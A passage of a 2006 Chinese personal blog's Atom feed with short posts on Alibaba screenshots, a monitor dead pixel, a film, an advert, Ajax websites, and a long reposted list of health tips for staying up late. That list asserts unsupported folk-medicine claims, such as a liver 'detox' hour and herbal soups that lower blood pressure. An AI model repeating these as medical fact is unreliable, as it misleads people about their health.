<P><A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/o_alibaba20000208.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=alibaba20000208 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_alibaba20000208.jpg" width=280></A>&nbsp; <A href="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_alibaba20000510.jpg" target=_blank><IMG id=ViewPicture.ascx_GalleryImage style="BORDER-RIGHT: black 2px solid; BORDER-TOP: black 2px solid; BORDER-LEFT: black 2px solid; BORDER-BOTTOM: black 2px solid" height=210 alt=alibaba20000510 src="http://blog.donews.com/images/blog_donews_com/sepsea/118531/r_alibaba20000510.jpg" width=280></A></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; 阿里巴巴2000年2月8日&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;阿里巴巴2000年5月10日</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=319" /> 
	  <id>http://www.openx.cn/default.asp?id=319</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[霍霍~普通屏幕也素有坏点地~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-18T17:08:02+08:00</updated>
	  <published>2006-07-18T17:08:02+08:00</published>
		  <summary type="html"><![CDATA[<P>刚刚在写个文档的时候发现屏幕有个小小的红点,有点带黑.</P>
<P>刷新屏幕还在,用手搓搓~还在~认真瞅瞅~原来是屏幕里面~</P>
<P>霍霍就素传说液晶屏幕上的坏点的说!</P>
<P>&nbsp;</P>
<P>丫丫~还以为只有液晶会有坏点的说法,</P>
<P>原来普通纯平也素有坏点的说哦~</P>
<P>哇~重大发现的说!</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=318" /> 
	  <id>http://www.openx.cn/default.asp?id=318</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ChinaUI整改中。。。]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-17T09:14:00+08:00</updated>
	  <published>2006-07-17T09:14:00+08:00</published>
		  <summary type="html"><![CDATA[<P>今天登陆ChinaUI发现如下景象，还以为被黑了，还是其他原因，糊糊～</P>
<P><img style="POSITION: static" src="http://www.openx.cn//include/Editor/UploadFile/200671791219109.jpg" border=0></P>
<P>赶紧开启QQ 看到 Bluesky.Hao 的QQ上写的 ChinaUI整改中。希望整改后的ChinaUI更完善！</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=317" /> 
	  <id>http://www.openx.cn/default.asp?id=317</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[推荐“一个百万富翁的初恋”]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-14T23:07:10+08:00</updated>
	  <published>2006-07-14T23:07:10+08:00</published>
		  <summary type="html"><![CDATA[<P>非常难得的好片，一个人看感触很多，全片看下我湿润了三次眼眶。</P>
<P><img src="http://www.openx.cn//include/Editor/UploadFile/200671423441865.gif" border=0></P>
<P>强烈推荐！其他我就不多说了，看了就知道了～</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=316" /> 
	  <id>http://www.openx.cn/default.asp?id=316</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[麦当劳户外广告｛转｝]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-14T10:33:30+08:00</updated>
	  <published>2006-07-14T10:33:30+08:00</published>
		  <summary type="html"><![CDATA[当劳户外广告让我想起了中国的影子记时方法.<BR>这幅广告牌也是依据影子的移动,产生不同效果,分别指向不同的产品.非常妙的创意<BR>
<DIV align=center><IMG alt="http://photo7.yupoo.com/20060714/075947_1765890016_HFSdb.jpg " src="http://photo7.yupoo.com/20060714/075947_1765890016_HFSdb.jpg"></DIV><BR>中国的东西又被外国人学走了,我们要加油了]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=315" /> 
	  <id>http://www.openx.cn/default.asp?id=315</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[熬夜的保健知识大全]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-12T17:04:11+08:00</updated>
	  <published>2006-07-12T17:04:11+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: blue">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;熬夜常识</SPAN><BR>　　熬夜也要有技巧，才能依然身体硬朗，否则，铁打的身体，也受不了如此的日夜 操劳呢～因此，想要熬夜的您，千万记住： <BR>　　１：不要吃泡面来填饱肚子，以免火气太大，最好尽量以水果、土司、面包、清粥小菜来充饥。 <BR>　　２：开始熬夜前，来一颗维他命ｂ群营养丸，维他命ｂ能够解除疲劳，增强人体免疫力。 <BR>　　３：提神饮料，最好以绿茶为主，可以提神，又可以消除体内多余的自由基，让您神清气爽；但是肠不好的人，最好改喝枸杞子泡热水的茶，可以解压，还可以明目呢！ <BR>　　４：熬夜前千万记得卸妆，或是先把脸洗干净，以免厚厚的粉层或油渍，在熬夜的煎熬下长满脸痘痘。 <BR>　　５：熬夜之后，第二天中午时千万记得打个小盹。生理时钟，一般而言熬夜是不容易补救的，补救的原则还是建议您改回原来的睡眠时间，尤其是熬夜会使生理时钟发生问题，此时要改回原先的睡觉时间会较难，可建议您不论前一晚多晚睡，次日一定同一时间起床（如设定７点起床），白天想睡时不可卧床大睡，仅能趴着小睡如此便能逐渐将入睡时间提早。 <BR>==========================================<BR>　　<SPAN style="COLOR: blue">生理时钟说明 </SPAN><BR>　　00：00～01：00 浅眠期 多梦而敏感，身体不适者易在此时痛醒。 <BR>　　01：00～02：00 排毒期 此时肝脏为排除毒素而活动旺盛，应让身体进入睡眠状态，让肝脏得以完成代谢废物。 <BR>　　02：00～03：00 休眠期 重症病人最易发病的时刻，常有患病者在此时死亡，熬夜最好勿超过这个时间。 <BR>　　09：00～11：00 精华期 此时为注意力及记忆力最好，且工作与学习的最佳时段。 <BR>　　12：00～13：00 午休期 最好静坐或闭目休息一下再进餐，正午不可饮酒，易醉又伤肝哦！ <BR>　　14：00～15：00 高峰期 是分析力和创造力得以发挥淋漓的极致时段！ <BR>　　16：00～17：00 低潮期 体力耗弱的阶段，最好补充水果来解馋，避免因饥饿而贪食致肥胖。 <BR>　　17：00～18：00 松散期 此时血糖略增，嗅觉与味觉最敏感，不妨准备晚膳来提振精神。 <BR>　　19：00～20：00 暂憩期 最好能在饭后３０分钟去散个步或沐浴，放松一下，纾解一日的疲倦困顿。 <BR>　　20：00～22：00 夜修期 此为晚上活动的巅峰时段，建议您善用此时进行商议，进修等需要思虑周密的活动。 <BR>　　23：00～24：00 夜眠期 经过镇日忙碌，此时应该放松心情进入梦乡，千万别让身体过度负荷，那可得不偿失哦！ <BR>　　提醒大家小心注意自己身体，让人生更加健康充实，晚了就来不及了！<BR>========================================== <BR>　　<SPAN style="COLOR: blue">熬夜的生活这样过 </SPAN><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。 <BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。<BR>==========================================<BR>　　<SPAN style="COLOR: blue">熬夜须知 </SPAN>　　<BR>　　1、熬夜时要吃热的东西（如热方便面）。 <BR>　　2、晚饭不能吃太饱。 <BR>　　3、注意保暖，不要冻着肚子。 <BR>　　4、一定要有足够多的白开水。 <BR>　　5、熬夜无论多累中间不可上床休息。 <BR>　　6、若乏困可喝咖啡或茶水之类的刺激性饮品来提神，但要注意应饮热的，浓度不要太高，以免伤胃。 <BR>　　7、熬夜时，应时时做深长呼吸。 <BR>　　8、至少要熬到天亮，即凌晨5点左右，并不断的想象太阳升起时的辉煌和气势。 <BR>　　9、早饭一定要吃饱，一定不要吃凉的食物。 <BR>　　10、凌晨7、8点钟，若要睡觉，一定要收心，即使不上床睡觉，也要坐在椅子上收心。<BR>==========================================　<BR>　　<SPAN style="COLOR: blue">熬夜族的饮食保健</SPAN><BR>　　夜工作者要供给充足的维生素A，因维生素A可调节视网膜感光物质———视紫的合成，能提高熬夜工作者对昏暗光线的适应力，而防止视觉疲劳。　　<BR>　　熬夜工作者劳动强度大，耗能多，应注意优质蛋白质的补充。动物蛋白质最好能达到蛋白质供应总量的一半。因为动物蛋白质含人体必需氨基酸，这对于保证熬夜工作者提高工作效率和身体健康是有好处的。　　<BR>========================================== <BR>　　<SPAN style="COLOR: blue">熬夜一族的自我保健</SPAN> <BR>　　生活在节奏紧张的现代社会，没有熬过夜的人是幸运的人。熬夜会使身体的正常节律性发生紊乱，对视力、肠胃及睡眠都造成影响。那么，经常熬夜的人应该怎样自我保健呢？ 　　<BR>　　熬夜的人多半是做文字工作或经常操作电脑的人，在昏黄灯光下苦战一夜容易使眼肌疲劳、视力下降。卫生部北京医院营养科的主管营养师李长平大夫告诉记者，维生素A及维生素B对预防视力减弱有一定效果，维生素A可调节视网膜感光物质——视紫的合成，能提高熬夜工作者对昏暗光线的适应力，防止视觉疲劳。所以要多吃胡萝卜、韭菜、鳗鱼等富含维生素A的食物，以及富含维生素B的瘦肉、鱼肉、猪肝等动物性食品。 　　<BR>　　此外，还应适当补充热量，吃一些水果、蔬菜及蛋白质食品如肉、蛋等来补充体力消耗，但千万不要大鱼大肉地猛吃。李长平大夫认为，吃一些花生米、杏仁、腰果、胡桃等干果类食品，它们含有丰富的蛋白质、维生素B、维生素E、钙和铁等矿物质以及植物油，而胆固醇的含量很低，对恢复体能有特殊的功效。 　　<BR>　　除了在饮食上下功夫，熬夜一族要加强身体锻炼。熬夜中如感到精力不足或者欲睡，就应做一会儿体操或到户外活动一下。由于熬夜会占去正常睡眠的时间，因此在补充睡眠上不妨见机行事。如下班回家时，在车上闭目养神片刻，或在单位午休时为自己安排一小会儿午睡等，可恢复体力，使精神振作。　　<BR>==============================================　　<BR>　　<SPAN style="COLOR: blue">熬夜最佳作息表</SPAN>　　<BR>　　有的人喜欢熬夜，但其结果往往是把自己搞的精疲力尽，效率低下，长久下去还会伤害身体。其实，科学的、间断性的熬夜有时会使某些类型的人获得意想不到的效果。熬夜后，在凌晨4、5点钟入睡，熬了一整夜，你一定感到很累，所以睡觉时会睡得特别香、特别沉，你会休息得特别好。熬夜可以使你集中较长的时间，专攻一项难度较大的工作。 　　<BR>　　执行本作息表的先决条件是你晚上9、10点钟时感到精力过剩，根本不想睡觉。一般人轻易不要用本作息表。 <BR>　　10：00起床 <BR>　　10：00—11：00散步、听音乐 <BR>　　11：00—11：20吃饭，喝热汤、多青菜、有肉 <BR>　　11：30—19：30看书、做练习 <BR>　　19：30—20：00吃饭，有肉、多菜、九成饱 <BR>　　20：00—凌晨4：30工作、学习 <BR>　　凌晨4：30—10：00睡觉<BR>========================================== 　<BR>　　<SPAN style="COLOR: blue">熬夜最佳饮食</SPAN>　　<BR>　　经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。 　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。<BR>　　晚餐对于熬夜的人很重要，可占膳食总热量的30％－50％，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的20％至25％，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15％－20％，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。<BR>　　熬夜虚劳药膳调养 <BR>　　随着生活节奏的加快，越来越多的人加入了熬夜的行列。不过，如何保证熬夜的质量，又减少对身体健康的影响呢？ 　　<BR>　　在熬夜时，喝许多浓茶或咖啡来刺激神经的兴奋是不可取的。因为咖啡因只能使人精神一时，而过后则会使人体大脑处于抑制状态，产生昏昏欲睡的感觉。　　<BR>　　中医认为，经常熬夜的人容易导致阴亏阳亢而产生阴虚内热的症状，不妨使用药膳适当进行调养，使精力充沛。 　　<BR>　　生地炖鸭蛋：每次用生地20克、鸭蛋1至2个，加水适量隔水炖之，蛋熟后去壳，再放入汁中炖20分钟，冰糖调味，食蛋饮汁，每日1次或每周2至3次。有滋阴清热、生津止渴等功效，适用于熬夜后口燥咽干、牙龈肿痛者食用。 　　<BR>　　猪腰炖杜仲：每次用杜仲25克、猪腰子1个，水适量隔水炖1小时，每日或隔2至3日服食1次，有滋补肝肾，强壮筋骨之功效，适用于熬夜后腰酸背痛、四肢乏力者服用。　　<BR>　　莲子百合煲瘦肉：每次用莲子(去芯)20克、百合20克、猪瘦肉100克，加水适量同煲，肉熟烂后加盐调味食用，每日1次。有清心润肺、益气安神之功效，适宜于熬夜后干咳、失眠、心烦、心悸等症者食用。 　　<BR>　　粉葛生鱼汤：每次用粉葛250克洗净切成小块，生鱼一条去腮及内脏，加水适量共煲，鱼熟后放入姜丝、油盐调味，食鱼饮汤，每月或隔日1次。有舒筋活络、益气和血、解肌痛等功效，适用于劳力过度熬夜后的肌内酸痛、颈肌胀痛者服用。 　　<BR>　　夏枯草煲瘦肉：每次用夏枯草10克、猪瘦肉50至100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汁，每日1次。有清肝火，降血压之功效，适用于患有高血压病人熬夜后头晕头痛及眼红者服用。 　　<BR>========================================== 　　<BR>　　<SPAN style="COLOR: blue">熬夜与饮食 </SPAN><BR>　　随着现代经济的发展，生活节奏的加快，越来越多的人加入了熬夜的行列。如何保证熬夜的质量，又减少对身体健康的影响，在饮食的调养上值得注意。　　<BR>　　在熬夜时，假如想要夜间不会被累坏的话，必须使你的交感神经功能如同白天一样活跃才行。妨碍交感神经功能兴奋的是热能来源的米饭和面食。因此，在晚餐时，请不要吃米饭和面食，只吃鱼、肉类、蔬菜等副食即可。至于米饭或面食则隔1天早晨才吃。不过，这一种晚餐在经过3小时后就会开始饥饿。因此，饥饿的时候就要喝牛奶，或者是吃鸡蛋、水果。只要这样做，你就能够维持自己旺盛的精力。值得提醒的是，在熬夜时，喝许多浓茶或咖啡来刺激神经的兴奋是不可取的。因为咖啡因只能使神经一时兴奋，而过后则会使人体大脑处于抑制状态，产生昏昏欲睡的感觉。　　<BR>　　中医认为，经常熬夜的人容易导致阴亏阳亢而产生阴虚内热的症状，不妨使用药膳适当进行调养，使精力充沛。 　<BR>　　①、生地炖鸭蛋：每次用生地20克、鸭蛋l？2个，加水适量隔水炖之，蛋熟后去壳，再放入汁中炖20分钟，冰糖调味，食蛋饮汁，每日1次或每周2？3次。有滋阴清热、生津止渴等功效。适用于熬夜后口燥咽干、牙龈肿痛。手足心热者食用。 　<BR>　　②、猪腰炖杜仲：每次用杜仲25克，猪腰子1个，水适量，隔水炖1小时，每日或隔2？3日服食1次，有滋补肝肾、强壮筋骨之功效。适用于熬夜后腰酸背痛、四肢乏力者服用。 　<BR>　　③、莲子百合煲瘦肉：每次用莲子（去芯）20克，百合20克，猪瘦肉100克，加水适量同煲，肉熟烂后盐调味食用，每日1次。有清心润肺、益气安神之功效。适宜于熬夜后干咳。失眠、心烦、心悸等症者食用。 　　<BR>　　④、粉葛生鱼汤：每次用粉葛250克洗净切成小块，生鱼1条，去腮及内脏，加水适量共煲，鱼熟后放入姜丝、油盐调味，食鱼饮汤，每日或隔日1次。有舒筋活络、益气和血、解肌痛等功效。适用于劳力过度熬夜后的肌肉酸痛、颈肌胀痛者服用。　　<BR>　　⑤、夏枯草煲瘦肉：每次用夏枯草10克，猪瘦肉50-100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汁，每日1次。有清肝火、降血压之功效。适用于患有高血压病熬夜后头晕、头痛及眼红者服用。 　<BR>========================================== 　<BR>　　<SPAN style="COLOR: blue">合理饮食帮你熬夜</SPAN><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。　　<BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。　　<BR>　　所以经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。 　　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。<BR>　　晚餐对于熬夜的人很重要，可占膳食总热量的30%～50%，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的20%～25%，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15%～20%，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。　　<BR>==========================================　　<BR>　　<SPAN style="COLOR: blue">熬夜如何营养饮食</SPAN><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。　　<BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。　　<BR>　　所以经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。　　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。<BR>　　晚餐对于熬夜的人很重要，可占膳食总热量的30%～50%，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的20%～25%，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15%～20%，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。<BR>　　<SPAN style="COLOR: blue">熬夜的人怎么吃？</SPAN><BR>　　熬夜的人，最先想到的就是喝咖啡或喝茶提神，营养师表示，咖啡因的确会让人精神振奋。 　<BR>　　不过，美国圣路加医院（St.Luke's Hospital）睡眠医药研究中心的实验发现，咖啡因对提升工作效率不见得有效，即使有用，也仅能维持短时间。<BR>　　咖啡因虽然提神，相对地会消耗体内与神经、肌肉协调有关的维生素B群，缺乏维生素B群的人本来就比较容易累，更可能形成恶性循环，养成酗茶、酗咖啡的习惯，需要量愈来愈多，效果却愈来愈差。因此，必须熬夜时，多补充些维生素B群，反而比较有效。　<BR>　　熬夜时，有人认为吃甜食可以补充热量，其实甜食也是熬夜大忌。晚餐后或熬夜时，不要吃太多甜食，高糖虽有高热量，虽在一定程度上让人兴奋，却会消耗维生素B群，导致反效果，也容易引来肥胖问题。 <BR>　　整体说来，熬夜的预防保健仍取决于日常饮食，必须均衡摄取6大类食物。但为了熬夜，晚餐时多吃富含维生素B群的食物，绝对有必要！维生素B群成员颇多，包括叶酸、烟硷酸、维生素B6、维生素B12等，它们不仅参与新陈代谢，提供能量，保护神经细胞，对安定神经、舒缓焦虑也有助益。 <BR>　　深绿色叶菜类及豆类植物，都含丰富叶酸盐，有助于细胞修补，预防感染和贫血；肝脏、鱼、全谷类、大豆食品、蔬果中有维生素B6或烟硷酸，可以维持皮肤健康、减缓老化；至于与记忆力、注意力有关的维生素B12，在红肉、牛奶、乳酪中都吃得到。<BR>==========================================<BR>　　<SPAN style="COLOR: blue">经常熬夜多吃胡萝卜</SPAN> 　<BR>　　熬夜的人多半是做文字工作或经常操作电脑的人，在灯光下坐久了容易使眼肌疲劳、视力下降。营养专家指出，维生素A及维生素B对预防视力减弱有效，维生素A可调节视网膜感光物质的合成，能提高熬夜者对昏暗光线的适应力，防止视觉疲劳。所以要多吃胡萝卜、韭菜、鳗鱼等富含维生素A的食物，和富含维生素B的瘦肉、鱼肉、猪肝等动物性食品。另外，花生米、杏仁、腰果、胡桃等干果类食品，富含维生素B、维生素E、钙和铁等矿物质，有利于恢复体能，可适当多吃。<BR>==========================================<BR>　　<SPAN style="COLOR: blue">熬夜人士护胃有法</SPAN>　　<BR>　　经常熬夜的人，中医称之为阴虚火旺之人，此类人也常有肠胃毛病，可通过食疗改善，达到护胃目的。　　<BR>　　熬夜族——今夜无人入眠　　<BR>　　编辑插语：“除了觉得脑袋糊成一团以外，其它感觉反而特别的清澈。看事物好似什么都隔着一层距离，连空气微粒都很清楚映在视网膜上；声音比平时清晰许多，那些仿佛录音不佳而来的杂音都一一分离，鸟叫虫鸣还有车子引擎声都各自定位……”相信你也曾有过这样的熬夜后体验。请看精彩专题--熬夜进行时……<BR>　　●食疗方一：生地瘦肉汤　　<BR>　　材料：生地15g、瘦肉250g<BR>　　制法：煲汤饮用<BR>　　适用：2-3人量　　<BR>　　●食疗方二：鲜百合银耳糖水　　<BR>　　材料：鲜百合30g、银耳30g、雪梨1个、燕窝10-30g、冰糖适量。<BR>　　制法：放冰糖与其他材料炖糖水<BR>　　适用：2-3人量，有养阴凉血之健胃作用　　<BR>　　编辑推荐：经常熬夜的人容易有阴虚内热的症状，若能注意夜宵进行饮食调养，有利于保持精力充沛。熬夜者的健康绿灯……　　<BR>　　●食疗方三：玉竹汤　　<BR>　　材料：玉竹30g、瘦肉半斤<BR>　　制法：材料共煲汤<BR>　　适用：2-3人量，适合大便燥热便秘者。　　<BR>　　●食疗方四：土茯苓芡实汤　　<BR>　　材料：土茯苓30g、芡实30g<BR>　　制法：煲汤饮用<BR>　　适用：2-3人量，适合大便湿热、便溏者，可清热，令大便恢复正常。　　<BR>==========================================<BR>　　<SPAN style="COLOR: blue">熬夜者的药膳调理</SPAN> <BR>　　经常熬夜的人容易产生阴虚内热的症状，如能注意夜宵进行饮食调养，有利于保持精力充沛。现介绍如下：<BR>　　（1）猪腰炖杜仲：杜仲25克、猪腰子1个（去筋膜），水适量。隔水炖1小时。每日或隔日服食1次。具有滋补肝肾、强筋壮骨之功效。适用于熬夜后腰酸背痛、四肢乏力者服用。　　<BR>　　（2）莲子百合煲瘦肉：莲子（去芯）20克、百合20克、猪瘦肉100克。加水适量同煲，肉熟烂后用盐调味食用。每日1次。具有清心润肺、益气安神之功效。适宜于熬夜后干咳、失眠、心烦、心悸等症者食用。　　<BR>　　（3）生地炖鸭蛋：生地20克、鸭蛋1－2个，加水适量隔水炖之。蛋熟后去壳，再放入汁中炖20分钟。加冰糖适量调味，食蛋饮汁。每日1次或每周2－3次。具有滋阴清热、生津止渴等功效。适宜于熬夜后口燥咽干、牙龈肿痛、手足心热者食用。　　<BR>　　（4）粉葛生鱼汤：粉葛（用葛根制成的粉皮）250克，洗净切块，生鱼（乌鱼）1条，加水适量共煲。鱼熟后放入生姜丝、油、盐调味，食鱼饮汤。每日或隔日1次，有舒筋活络、益气和血、解除肌痛等功效。适用于熬夜后肌肉酸痛、颈部胀痛者服用。　　<BR>　　（5）夏枯草煲瘦肉：夏枯草10克、猪瘦肉50－100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汤。每日1次。具有清肝火、降血压的功效。适宜于熬夜后血压升高、头晕、头痛及眼红者服用。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=314" /> 
	  <id>http://www.openx.cn/default.asp?id=314</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[基于Ajax技术网站赏析]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-03T21:07:44+08:00</updated>
	  <published>2006-07-03T21:07:44+08:00</published>
		  <summary type="html"><![CDATA[<P>Ajax，与其说是一种技术不如说是一系列技术的组合，但Ajax带给我们的不仅仅是技术，更多的是以人为本的一种服务理念，它崇尚参与性和交互性，不仅缓和了资源矛盾也亲和了人与人之间的关系。Ajax王国下的子民既是管理者又是被管理者，是主亦是客，是信息接收者也是信息制造者，多么和谐美妙的社会！</P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/9r9xhqvh1879.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><A href="http://homepage.yesky.com/220/2331720.shtml" target=_blank></A><BR><STRONG>Google</STRONG> Ajax技术的领跑者，基于Ajax的广为大家熟悉的产品有Google Maps，Google Gmail，Google IG等，Google作为Ajax技术的先行者和倡导者早已经走在其它同类网站的前列。进入<A href="http://maps.google.com/" target=_blank><FONT color=#0000ff>Google Maps</FONT></A>，<A href="http://mail.google.com/mail/" target=_blank><FONT color=#0000ff>Google Gmail</FONT></A>，<A href="http://www.google.com/ig" target=_blank><FONT color=#0000ff>Google IG</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/sq1qdo6j3d60.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Macrosoft Live</STRONG> 微软帝国一直以操作系统为核心，但迫于Google带来的巨大威胁，这个软件界的巨人开始把目光转向web应用技术服务，建立了具有个人门户性质的live网站，live网站目前还不支持中文版，但其个性化的界面已经深深吸引了大批用户，用户体验非常棒。进入<A href="http://www.live.com/" target=_blank><FONT color=#0000ff>live网站</FONT></A></TD></TR>
<TR>
<TD style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; BORDER-BOTTOM: #cccccc 1px solid"><FONT color=#0000ff><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://soft.yesky.com/imagelist/06/03/11v1d814dh0w.gif" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" border=0 TWFFAN="done"></IMG><BR></FONT><STRONG>Netvibes</STRONG> 有中文繁体功能，可惜不支持简体。比较早的桌面系统，功能也十分的齐全，系统写的代码十分的精简。据说 Okrss和周博通都是仿照它写的代码。进入<A href="http://www.netvibes.com/" target=_blank><FONT color=#0000ff>Netvibes</FONT></A></TD></TR>
<TR>
